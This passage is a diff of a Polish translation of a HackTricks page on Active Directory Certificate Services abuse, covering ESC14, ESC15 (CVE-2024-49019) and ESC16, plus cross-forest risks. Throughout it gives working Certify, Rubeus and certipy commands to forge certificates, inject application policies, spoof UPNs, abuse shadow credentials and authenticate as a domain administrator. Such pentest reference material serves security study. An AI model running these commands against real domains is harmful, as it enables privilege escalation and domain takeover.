pod konta, przedstawiając certyfikaty, które pasują do mapowania. -#### Scenariusz A: Atakujący może pisać do `altSecurityIdentities` +#### Scenariusz A: Atakujący może zapisać do `altSecurityIdentities` -**Warunek wstępny**: Atakujący ma uprawnienia do zapisu w atrybucie `altSecurityIdentities` docelowego konta lub uprawnienia do nadania ich w formie jednego z następujących uprawnień na docelowym obiekcie AD: -- Zapisz właściwość `altSecurityIdentities` -- Zapisz właściwość `Public-Information` -- Zapisz właściwość (wszystkie) +Precondycja: Atakujący ma uprawnienia zapisu do atrybutu `altSecurityIdentities` docelowego konta lub uprawnienie do jego nadania w postaci jednego z następujących uprawnień na docelowym obiekcie AD: +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Właściciel*. +- Owner*. -#### Scenariusz B: Cel ma słabe mapowanie przez X509RFC822 (Email) +#### Scenariusz B: Cel ma słabe mapowanie przez X509RFC822 (email) -- **Warunek wstępny**: Cel ma słabe mapowanie X509RFC822 w `altSecurityIdentities`. Atakujący może ustawić atrybut mailowy ofiary, aby pasował do nazwy X509RFC822 celu, zarejestrować certyfikat jako ofiara i użyć go do uwierzytelnienia się jako cel. +- Precondycja: Cel ma słabe mapowanie X509RFC822 w altSecurityIdentities. Atakujący może ustawić atrybut mail ofiary tak, aby pasował do nazwy X509RFC822 celu, uzyskać certyfikat jako ofiara i użyć go do uwierzytelnienia się jako cel. #### Scenariusz C: Cel ma mapowanie X509IssuerSubject -- **Warunek wstępny**: Cel ma słabe jawne mapowanie X509IssuerSubject w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na głównym obiekcie ofiary, aby pasował do podmiotu mapowania X509IssuerSubject celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. +- Precondycja: Cel ma słabe jawne mapowanie X509IssuerSubject w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na koncie ofiary, aby pasował do subject mapowania X509IssuerSubject celu. Następnie atakujący może uzyskać certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. #### Scenariusz D: Cel ma mapowanie X509SubjectOnly -- **Warunek wstępny**: Cel ma słabe jawne mapowanie X509SubjectOnly w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na głównym obiekcie ofiary, aby pasował do podmiotu mapowania X509SubjectOnly celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. +- Precondycja: Cel ma słabe jawne mapowanie X509SubjectOnly w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na koncie ofiary, aby pasował do subject mapowania X509SubjectOnly celu. Następnie atakujący może uzyskać certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. ### konkretne operacje #### Scenariusz A -Zażądaj certyfikatu z szablonu certyfikatu `Machine` +Request a certificate of the certificate template `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -732,35 +751,35 @@ Zapisz i przekonwertuj certyfikat ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Uwierzytelnij (używając certyfikatu) +Uwierzytelnij się (przy użyciu certyfikatu) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -Czyszczenie (opcjonalne) +Sprzątanie (opcjonalne) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Dla bardziej specyficznych metod ataku w różnych scenariuszach ataku, proszę odwołać się do następującego: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Aby uzyskać bardziej szczegółowe metody ataku w różnych scenariuszach, zapoznaj się z następującym materiałem: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). ## EKUwu Application Policies(CVE-2024-49019) - ESC15 ### Wyjaśnienie -Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc jest niezwykle szczegółowy. Poniżej znajduje się cytat z oryginalnego tekstu. +Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc jest wyjątkowo wyczerpujący. Poniżej znajduje się cytat oryginalnego tekstu. -Korzystając z wbudowanych domyślnych szablonów certyfikatów wersji 1, atakujący może stworzyć CSR, aby uwzględnić polityki aplikacji, które są preferowane w stosunku do skonfigurowanych atrybutów Extended Key Usage określonych w szablonie. Jedynym wymaganiem są prawa do rejestracji, a może być użyty do generowania certyfikatów uwierzytelniania klienta, agenta żądania certyfikatu oraz certyfikatów podpisywania kodu przy użyciu szablonu **_WebServer_**. +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template -### Nadużycie +### Wykorzystanie -Poniższe odnosi się do [tego linku](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), kliknij, aby zobaczyć bardziej szczegółowe metody użycia. +Poniższe odnosi się do [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Kliknij, aby zobaczyć bardziej szczegółowe metody użycia. -Polecenie `find` Certipy może pomóc w identyfikacji szablonów V1, które mogą być podatne na ESC15, jeśli CA nie jest załatana. +Polecenie `find` w Certipy może pomóc zidentyfikować szablony V1, które potencjalnie są podatne na ESC15, jeśli CA nie jest załatany. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenariusz A: Bezpośrednia impersonacja za pomocą Schannel +#### Scenariusz A: Direct Impersonation via Schannel -**Krok 1: Żądanie certyfikatu, wstrzykując politykę aplikacji "Uwierzytelnianie klienta" oraz docelowy UPN.** Atakujący `attacker@corp.local` celuje w `administrator@corp.local`, używając szablonu "WebServer" V1 (który pozwala na podanie tematu przez zapisującego się). +**Krok 1: Poproś o certyfikat, wstrzykując "Client Authentication" Application Policy i docelowy UPN.** Atakujący `attacker@corp.local` celuje w `administrator@corp.local`, używając szablonu "WebServer" V1 (który pozwala na enrollee-supplied subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -769,17 +788,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Wrażliwy szablon V1 z "Dostawca dostarcza temat". -- `-application-policies 'Client Authentication'`: Wstrzykuje OID `1.3.6.1.5.5.7.3.2` do rozszerzenia Polityki Aplikacji CSR. -- `-upn 'administrator@corp.local'`: Ustawia UPN w SAN dla impersonacji. +- `-template 'WebServer'`: Wrażliwy szablon V1 z "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Wstrzykuje OID `1.3.6.1.5.5.7.3.2` do rozszerzenia Application Policies w CSR. +- `-upn 'administrator@corp.local'`: Ustawia UPN w SAN w celu podszywania się. -**Krok 2: Uwierzytelnij się za pomocą Schannel (LDAPS) przy użyciu uzyskanego certyfikatu.** +**Krok 2: Uwierzytelnij się za pomocą Schannel (LDAPS) używając uzyskanego certyfikatu.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Scenario B: PKINIT/Kerberos Impersonacja poprzez Nadużycie Agenta Rejestracji +#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Step 1: Zażądaj certyfikatu z szablonu V1 (z "Uczestnik dostarcza temat"), wstrzykując "Politykę aplikacji Agenta Żądania Certyfikatu".** Ten certyfikat jest dla atakującego (`attacker@corp.local`), aby stać się agentem rejestracji. Nie określono UPN dla tożsamości atakującego, ponieważ celem jest zdolność agenta. +**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Ten certyfikat ma umożliwić atakującemu (`attacker@corp.local`) zostanie enrollment agentem. Nie podano UPN dla tożsamości atakującego w tym przypadku, ponieważ celem jest funkcja agenta. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -789,7 +808,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: Wstrzykuje OID `1.3.6.1.4.1.311.20.2.1`. -**Krok 2: Użyj certyfikatu "agenta", aby zażądać certyfikatu w imieniu docelowego użytkownika z uprawnieniami.** To jest krok podobny do ESC3, używając certyfikatu z Kroku 1 jako certyfikatu agenta. +**Krok 2: Użyj certyfikatu "agent", aby zażądać certyfikatu w imieniu docelowego uprzywilejowanego użytkownika.** Jest to krok podobny do ESC3, wykorzystujący certyfikat z Kroku 1 jako certyfikat "agent". ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -797,31 +816,31 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Krok 3: Uwierzytelnij się jako użytkownik z uprawnieniami za pomocą certyfikatu "on-behalf-of".** +**Krok 3: Uwierzytelnij się jako uprzywilejowany użytkownik, używając certyfikatu "on-behalf-of".** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## Rozszerzenie zabezpieczeń wyłączone na CA (globalnie)-ESC16 -### Explanation +### Wyjaśnienie -**ESC16 (Podniesienie uprawnień poprzez brak rozszerzenia szOID_NTDS_CA_SECURITY_EXT)** odnosi się do scenariusza, w którym, jeśli konfiguracja AD CS nie wymusza włączenia rozszerzenia **szOID_NTDS_CA_SECURITY_EXT** we wszystkich certyfikatach, atakujący może to wykorzystać poprzez: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi się do scenariusza, w którym, jeśli konfiguracja AD CS nie wymusza dołączenia rozszerzenia **szOID_NTDS_CA_SECURITY_EXT** do wszystkich certyfikatów, atakujący może to wykorzystać poprzez: -1. Żądanie certyfikatu **bez powiązania SID**. +1. Zażądanie certyfikatu **bez SID binding**. -2. Użycie tego certyfikatu **do uwierzytelnienia jako dowolne konto**, na przykład podszywając się pod konto o wysokich uprawnieniach (np. Administratora Domeny). +2. Użycie tego certyfikatu **do uwierzytelnienia jako dowolne konto**, na przykład podszywanie się pod konto o wysokich uprawnieniach (np. Domain Administrator). -Możesz również zapoznać się z tym artykułem, aby dowiedzieć się więcej o szczegółowej zasadzie: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Możesz także odnieść się do tego artykułu, aby dowiedzieć się więcej o szczegółowej zasadzie: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### Wykorzystanie -Poniższe odnosi się do [tego linku](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), kliknij, aby zobaczyć bardziej szczegółowe metody użycia. +Poniższe odnosi się do [tego linku](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Kliknij, aby zobaczyć bardziej szczegółowe metody użycia. Aby zidentyfikować, czy środowisko Active Directory Certificate Services (AD CS) jest podatne na **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Krok 1: Przeczytaj początkowy UPN konta ofiary (Opcjonalnie - do przywrócenia).** +**Krok 1: Odczytaj początkowy UPN konta ofiary (Opcjonalne — do przywrócenia). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -835,14 +854,14 @@ certipy account \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Krok 3: (Jeśli to konieczne) Uzyskaj poświadczenia dla konta "ofiary" (np. za pomocą Shadow Credentials).** +**Krok 3: (jeśli to konieczne) Uzyskaj poświadczenia dla konta "victim" (np. za pomocą Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Krok 4: Zażądaj certyfikatu jako użytkownik "ofiara" z _dowolnego odpowiedniego szablonu uwierzytelniania klienta_ (np. "Użytkownik") na CA podatnym na ESC16.** Ponieważ CA jest podatne na ESC16, automatycznie pominie rozszerzenie zabezpieczeń SID w wydanym certyfikacie, niezależnie od konkretnych ustawień szablonu dla tego rozszerzenia. Ustaw zmienną środowiskową pamięci podręcznej poświadczeń Kerberos (polecenie powłoki): +**Krok 4: Zażądaj certyfikatu jako użytkownik "victim" z _dowolnego odpowiedniego szablonu uwierzytelniania klienta_ (np. "User") na CA podatnej na ESC16.** Ponieważ CA jest podatny na ESC16, automatycznie pominie rozszerzenie bezpieczeństwa SID w wydanym certyfikacie, niezależnie od konkretnych ustawień tego rozszerzenia w szablonie. Ustaw zmienną środowiskową cache poświadczeń Kerberos (polecenie shell): ```bash export KRB5CCNAME=victim.ccache ``` @@ -866,22 +885,24 @@ certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Kompromitacja Lasów z Certyfikatami Wyjaśniona w Stronie Biernej +## Kompromitacja lasów za pomocą certyfikatów — wyjaśnienie w stronie biernej -### Łamanie Zaufania Lasów przez Kompromitowane CA +### Naruszenie zaufania między lasami przez skompromitowane CA -Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA root** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA enterprise** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skomplikowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu. +Konfiguracja dla **cross-forest enrollment** została wykonana stosunkowo prosto. **root CA certificate** z lasu zasobów jest **publikowany do lasów kont** przez administratorów, a certyfikaty **Enterprise CA** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kont**. Dla jasności, takie ustawienie daje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli ta CA zostanie **skompromitowana przez atakujących**, certyfikaty dla wszystkich użytkowników zarówno w lesie zasobów, jak i w lasach kont mogą zostać przez nich **sfałszowane**, łamiąc tym samym granicę bezpieczeństwa lasu. -### Uprawnienia do Rejestracji Przyznane Obcym Podmiotom +### Uprawnienia do rejestracji przyznane obcym podmiotom -W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA Enterprise, które **publikują szablony certyfikatów**, które pozwalają **Authenticated Users lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA Enterprise) **na prawa do rejestracji i edycji**.\ -Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Tak więc, jeśli domena posiada CA Enterprise z szablonem, który **pozwala na prawa do rejestracji Użytkowników Uwierzytelnionych**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa do rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzona jest w ten sposób relacja kontroli dostępu między lasami**, umożliwiająca podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**. +W środowiskach wielo-lasowych należy zachować ostrożność w odniesieniu do Enterprise CA, które **publikują szablony certyfikatów** pozwalające **Authenticated Users lub foreign principals** (użytkownicy/grupy spoza lasu, do którego należy Enterprise CA) na **uprawnienia do rejestracji i edycji**.\ +Po uwierzytelnieniu w ramach trustu, AD dodaje do tokenu użytkownika **Authenticated Users SID**. Zatem jeżeli domena posiada Enterprise CA z szablonem, który **pozwala Authenticated Users na uprawnienia do rejestracji**, szablon mógłby potencjalnie zostać **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **uprawnienia do rejestracji są wyraźnie przyznane obcemu podmiotowi przez szablon**, w ten sposób zostaje utworzona **relacja kontroli dostępu między lasami (cross-forest)**, umożliwiając podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**. -Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu do drugiego. Ustawienia szablonu certyfikatu mogą być wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie. +Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu na drugi. Ustawienia szablonu certyfikatu mogą zostać wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie. -## Referencje +## References -- [Certify 2.0 – Blog SpecterOps](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}